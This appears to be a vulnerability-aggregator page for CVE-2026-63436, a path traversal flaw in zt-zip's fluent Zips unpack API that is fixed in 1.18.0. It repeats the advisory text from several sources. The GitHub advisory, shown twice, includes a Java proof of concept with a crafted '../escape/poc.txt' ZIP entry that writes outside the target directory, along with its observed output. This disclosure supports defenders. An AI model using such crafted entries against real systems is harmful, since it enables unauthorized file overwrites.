CVE-2026-63436
zt-zip: Path traversal in fluent API unpack
zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used 6.1
zt-zip: Path traversal in fluent API unpack
zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.
- Record
CVE-2026-63436- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L - Weakness
- CWE-22
- Updated
- 2026-11-09
EUVDEUVD-2026-116112 6.1
zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.
- Record
EUVD-2026-116112- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L - Updated
- 2026-11-09
GitHub AdvisoriesGHSA-52c6-99qm-3hqr 8.2
zt-zip: Path traversal in fluent API unpack
Summary
ZipUtil.unpack(...) rejects ZIP entries that escape the target output directory, but the Zips fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check.
A ZIP entry such as:
../escape/poc.txt
is written outside the configured destination directory when processed with:
Zips.get(zip).unpack().destination(outputDir).process();
The transformer branch is affected as well.
Tested Version
commit: 067935dca375500d3ff025aafcdf0e4283931b1a
Root Cause
In src/main/java/org/zeroturnaround/zip/Zips.java, Zips.UnpackingCallback.process(...) builds the output file directly from the ZIP entry name:
String entryName = zipEntry.getName();
File file = new File(destination, entryName);
The method then creates directories/files and copies content to that path:
FileUtils.forceMkdir(file.getParentFile());
file.createNewFile();
FileUtils.copy(in, file);
When a transformer is configured, the same file is passed to transformIntoFile(...).
There does not appear to be a canonical path check before these filesystem writes, so ../ entries can resolve outside destination.
Minimal Reproduction
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.zip.*;
import org.zeroturnaround.zip.ZipUtil;
import org.zeroturnaround.zip.Zips;
import org.zeroturnaround.zip.transform.ZipEntryTransformer;
public class ZipsTraversalPoc {
public static void main(String[] args) throws Exception {
Path work = Files.createTempDirectory("ztzip-zips-poc");
Path zip = work.resolve("poc.zip");
Path escaped = work.resolve("escape").resolve("poc.txt");
String entryName = "../escape/poc.txt";
Files.createDirectories(escaped.getParent());
try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {
zos.putNextEntry(new ZipEntry(entryName));
zos.write("plain branch\n".getBytes(StandardCharsets.UTF_8));
zos.closeEntry();
}
Path zipUtilOut = work.resolve("ziputil-out");
Files.createDirectories(zipUtilOut);
try {
ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());
System.out.println("ZIPUTIL_REJECTED=false");
}
catch (Throwable t) {
System.out.println("ZIPUTIL_REJECTED=" + t.getClass().getName());
}
System.out.println("ZIPUTIL_ESCAPED_EXISTS=" + Files.exists(escaped));
Files.deleteIfExists(escaped);
Path zipsOut = work.resolve("zips-out");
Files.createDirectories(zipsOut);
Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();
System.out.println("ZIPS_PLAIN_ESCAPED_EXISTS=" + Files.exists(escaped));
System.out.println("ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsOut.normalize()));
Files.deleteIfExists(escaped);
Path zipsTransformOut = work.resolve("zips-transform-out");
Files.createDirectories(zipsTransformOut);
Zips.get(zip.toFile())
.unpack()
.destination(zipsTransformOut.toFile())
.addTransformer(entryName, new ZipEntryTransformer() {
public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {
out.putNextEntry(new ZipEntry(entry.getName()));
out.write("transform branch\n".getBytes(StandardCharsets.UTF_8));
out.closeEntry();
}
})
.process();
System.out.println("ZIPS_TRANSFORM_ESCAPED_EXISTS=" + Files.exists(escaped));
System.out.println("ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));
}
}
Observed output:
ZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException
ZIPUTIL_ESCAPED_EXISTS=false
ZIPS_PLAIN_ESCAPED_EXISTS=true
ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true
ZIPS_TRANSFORM_ESCAPED_EXISTS=true
ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true
Expected Behavior
…
- Record
GHSA-52c6-99qm-3hqr- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-22
- Updated
- 2026-11-09
NVD 6.1
zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.
- Record
CVE-2026-63436- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L - Weakness
- CWE-22
- Updated
- 2026-11-09
OSV 6.1
zt-zip: Path traversal in fluent API unpack
zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.
- Record
CVE-2026-63436- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L - Weakness
- CWE-22
- Updated
- 2026-11-10
OSVGHSA-52c6-99qm-3hqr 8.2
zt-zip: Path traversal in fluent API unpack
Summary
ZipUtil.unpack(...) rejects ZIP entries that escape the target output directory, but the Zips fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check.
A ZIP entry such as:
../escape/poc.txt
is written outside the configured destination directory when processed with:
Zips.get(zip).unpack().destination(outputDir).process();
The transformer branch is affected as well.
Tested Version
commit: 067935dca375500d3ff025aafcdf0e4283931b1a
Root Cause
In src/main/java/org/zeroturnaround/zip/Zips.java, Zips.UnpackingCallback.process(...) builds the output file directly from the ZIP entry name:
String entryName = zipEntry.getName();
File file = new File(destination, entryName);
The method then creates directories/files and copies content to that path:
FileUtils.forceMkdir(file.getParentFile());
file.createNewFile();
FileUtils.copy(in, file);
When a transformer is configured, the same file is passed to transformIntoFile(...).
There does not appear to be a canonical path check before these filesystem writes, so ../ entries can resolve outside destination.
Minimal Reproduction
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.zip.*;
import org.zeroturnaround.zip.ZipUtil;
import org.zeroturnaround.zip.Zips;
import org.zeroturnaround.zip.transform.ZipEntryTransformer;
public class ZipsTraversalPoc {
public static void main(String[] args) throws Exception {
Path work = Files.createTempDirectory("ztzip-zips-poc");
Path zip = work.resolve("poc.zip");
Path escaped = work.resolve("escape").resolve("poc.txt");
String entryName = "../escape/poc.txt";
Files.createDirectories(escaped.getParent());
try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {
zos.putNextEntry(new ZipEntry(entryName));
zos.write("plain branch\n".getBytes(StandardCharsets.UTF_8));
zos.closeEntry();
}
Path zipUtilOut = work.resolve("ziputil-out");
Files.createDirectories(zipUtilOut);
try {
ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());
System.out.println("ZIPUTIL_REJECTED=false");
}
catch (Throwable t) {
System.out.println("ZIPUTIL_REJECTED=" + t.getClass().getName());
}
System.out.println("ZIPUTIL_ESCAPED_EXISTS=" + Files.exists(escaped));
Files.deleteIfExists(escaped);
Path zipsOut = work.resolve("zips-out");
Files.createDirectories(zipsOut);
Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();
System.out.println("ZIPS_PLAIN_ESCAPED_EXISTS=" + Files.exists(escaped));
System.out.println("ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsOut.normalize()));
Files.deleteIfExists(escaped);
Path zipsTransformOut = work.resolve("zips-transform-out");
Files.createDirectories(zipsTransformOut);
Zips.get(zip.toFile())
.unpack()
.destination(zipsTransformOut.toFile())
.addTransformer(entryName, new ZipEntryTransformer() {
public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {
out.putNextEntry(new ZipEntry(entry.getName()));
out.write("transform branch\n".getBytes(StandardCharsets.UTF_8));
out.closeEntry();
}
})
.process();
System.out.println("ZIPS_TRANSFORM_ESCAPED_EXISTS=" + Files.exists(escaped));
System.out.println("ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));
}
}
Observed output:
ZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException
ZIPUTIL_ESCAPED_EXISTS=false
ZIPS_PLAIN_ESCAPED_EXISTS=true
ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true
ZIPS_TRANSFORM_ESCAPED_EXISTS=true
ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true
Expected Behavior
…
- Record
GHSA-52c6-99qm-3hqr- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-22
- Updated
- 2026-11-09
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
org.zeroturnaround:zt-zipMaven | before 1.18.0 | 1.18.0 |
org.zeroturnaround:zt-zipMaven | before 1.18.0, plus listed versions 1.101.111.121.131.14 Show 9 moreShow less1.151.161.171.41.51.61.71.81.9 | 1.18.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| published | EUVD | |
| published | EUVD | |
| affected, references | OSV | |
| affected, facts, references | GitHub Advisories, NVD | |
| references | CVE List, EUVD, OSV | |
| aliases, references | NVD, OSV | |
| cwes, references, severity, title | CVE List | |
| first indexed | EUVD |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-63436 is a medium vulnerability (CVSS 6.1) in Zeroturnaround Zt-zip, published November 3, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 15th percentile. Fixed in org.zeroturnaround:zt-zip 1.18.0.
References
github.com/zeroturnaround/zt-zip/security/advisories/GHSA-52c6-99qm-3hqr
github.com/zeroturnaround/zt-zip/pull/180
github.com/zeroturnaround/zt-zip/commit/59a76ad576b0fcd50ea018e3608afb946c1492fd
github.com/zeroturnaround/zt-zip/releases/tag/v1.18.0
nvd.nist.gov/vuln/detail/CVE-2026-63436
github.com/advisories/GHSA-52c6-99qm-3hqr
github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63436.json
github.com/zeroturnaround/zt-zip
Left out here: the rest of 2 source descriptions. The JSON record has them.